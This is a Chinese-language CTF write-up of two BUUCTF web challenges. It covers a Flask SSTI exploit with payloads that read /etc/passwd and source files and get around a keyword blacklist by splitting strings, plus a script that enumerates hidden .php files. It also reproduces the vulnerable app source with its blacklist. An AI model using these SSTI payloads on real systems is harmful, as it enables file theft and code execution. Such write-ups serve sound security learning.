8-13刷题

[GYCTF2020]FlaskApp

加密没问题，解密的时候随便输入字母

 报错了，输入e3syKzN9fQ==//{{2+3}},返回5说明存在ssti注入，python3的ssti先试一下读文件

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19

 把app.py读下来

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('app.py').read()}}

 from flask import Flask,render_template_string 
 from flask import render_template,request,flash,redirect,url_for 
 from flask_wtf import FlaskForm from wtforms import StringField, SubmitField 
 from wtforms.validators import DataRequired 
 from flask_bootstrap import Bootstrap 
 import base64 
 app = Flask(__name__) 
 app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' 
 bootstrap = Bootstrap(app) 
 class NameForm(FlaskForm): 
	text = StringField('BASE64加密',validators= [DataRequired()]) 
	submit = SubmitField('提交') 
class NameForm1(FlaskForm): 
	text = StringField('BASE64解密',validators= [DataRequired()]) 
	submit = SubmitField('提交') 
def waf(str): 
	black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
	for x in black_list : 
		if x in str.lower() : 
			return 1 
@app.route('/hint',methods=['GET']) 
def hint(): 
	txt = "失败乃成功之母！！" 
	return render_template("hint.html",txt = txt) 
@app.route('/',methods=['POST','GET']) 
	def encode(): 
		if request.values.get('text') : 
			text = request.values.get("text") 
			text_decode = base64.b64encode(text.encode()) 
			tmp = "结果 :{0}".format(str(text_decode.decode())) 
			res = render_template_string(tmp) flash(tmp) 
			return redirect(url_for('encode')) 
		else : 
			text = "" 
			form = NameForm(text) 
			return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") 
@app.route('/decode',methods=['POST','GET']) 
def decode(): 
	if request.values.get('text') : 
		text = request.values.get("text") 
		text_decode = base64.b64decode(text.encode()) 
		tmp = "结果 ： {0}".format(text_decode.decode()) 
	if waf(tmp) : 
		flash("no no no !!") 
		return redirect(url_for('decode')) 
		res = render_template_string(tmp) 
		flash( res ) 
		return redirect(url_for('decode')) 
	else : 
		text = "" 
		form = NameForm1(text) 
		return render_template("index.html",form = form, method = "解密" , img = "flask1.png") 
@app.route('/<name>',methods=['GET']) 
def not_found(name): 
    return render_template("404.html",name = name) 

if __name__ == '__main__': 
    app.run(host="0.0.0.0", port=5000, debug=True)

过滤了flag及一众命令执行函数，我们用命令拼接的方式

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

发现有个this_is_the_flag.txt,读一下

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/this_is_the_fla'+'g.txt').read()}}

[BJDCTF 2nd]elementmaster

 506f2e706870hex解码之后是Po.php打开发现个点，结合元素大师猜测枚举所有元素，上脚本

#-*- coding:utf-8 -*-
#__author__: ta3shi
import time as t
import requests

url='http://28e31583-c191-4a0b-8d65-2deaf1c3bc54.node3.buuoj.cn/'
result=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for i in element:
        t.sleep(0.5)
        r=requests.get(url+i+'.php')
        if r.status_code == 200:
                result+=r.text
                print (result)

打开即可得到flag